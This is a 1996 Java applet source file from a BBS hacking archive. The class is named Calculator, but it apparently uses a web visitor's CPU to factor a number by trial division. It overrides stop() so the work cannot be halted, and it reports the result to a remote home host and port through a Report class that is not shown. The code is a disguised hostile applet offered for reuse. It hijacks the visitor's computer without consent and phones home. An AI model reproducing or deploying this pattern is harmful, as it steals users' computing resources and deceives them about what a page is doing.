home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / hacking / internet / calculator.java < prev    next >
Encoding:
Java Source  |  1996-07-04  |  2.3 KB  |  87 lines

  1. /*  Calculator.java by Mark D. LaDue */
  2.  
  3. /*  March 2, 1996 */
  4.  
  5. /*  Copyright (c) 1996 Mark D. LaDue
  6.     You may study, use, modify, and distribute this example for any purpose.
  7.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  8.  
  9. /*  This simple class just calls the class that does all the work */
  10.  
  11. import java.io.*;
  12. import java.net.*;
  13. import DoMyWork;
  14. import Report;
  15.  
  16. public class Calculator extends java.applet.Applet implements Runnable {
  17.  
  18. //  The class that actually does the work
  19.     public GetFactor doWork;
  20.  
  21. /*  As usual, we won't stop anything */
  22.  
  23.     public void stop() {}
  24.  
  25.  
  26. /*  Starts the factoring by trial division */
  27.  
  28.     public void run() {
  29.         doWork = new GetFactor();
  30.     }
  31. }
  32. /*  This class takes a given long integer and tries to factor it
  33.     by trial division.  Of course other alogorithms could be used
  34.     instead, and you're not limited to such simple schemes. */
  35.  
  36.  
  37. class GetFactor extends DoMyWork {
  38.  
  39. //  The quantities that we'll be working with
  40.     long myNumber = DoMyWork.theNumber; 
  41.     int myPort = DoMyWork.thePort;
  42.     String myHome = DoMyWork.theHome;
  43.     long factor;
  44.     long hopeful;
  45.     Report sendIt = null;
  46.     Long T = null;
  47.     Long L = null;
  48.  
  49. //  Tells whether or not factoring was successful 
  50.     boolean success;
  51.  
  52. /*  Start factoring by trial division */
  53.  
  54.     GetFactor() {
  55.         long maxfactor = (long) java.lang.Math.sqrt(myNumber) + 1;
  56.         factor = 3L;
  57.         hopeful = 0L;
  58.         success = false;
  59.  
  60.         hopeful = myNumber % 2;
  61.         if (hopeful == 0) {
  62.             success = true;
  63.             factor = 2;
  64.         }
  65.         else {
  66.             success = false;
  67.             factor = 3;
  68.             while (success == false &&
  69.                     factor <  maxfactor) {
  70.                 hopeful = myNumber % factor;
  71.                 if (hopeful == 0) {success = true;}
  72.                 factor += 2;
  73.              }
  74.         }
  75.         if (success == false) {factor = myNumber;}
  76.         else {
  77.             if (factor > 2) {factor -= 2;}
  78.         }
  79.         T = new Long(myNumber);
  80.         L = new Long(factor);
  81.         String teststr = T.toString();
  82.         String factorstr = L.toString();
  83.         sendIt = new Report(myHome, myPort);
  84.         sendIt.communicate(teststr, factorstr);
  85.     }
  86. }
  87.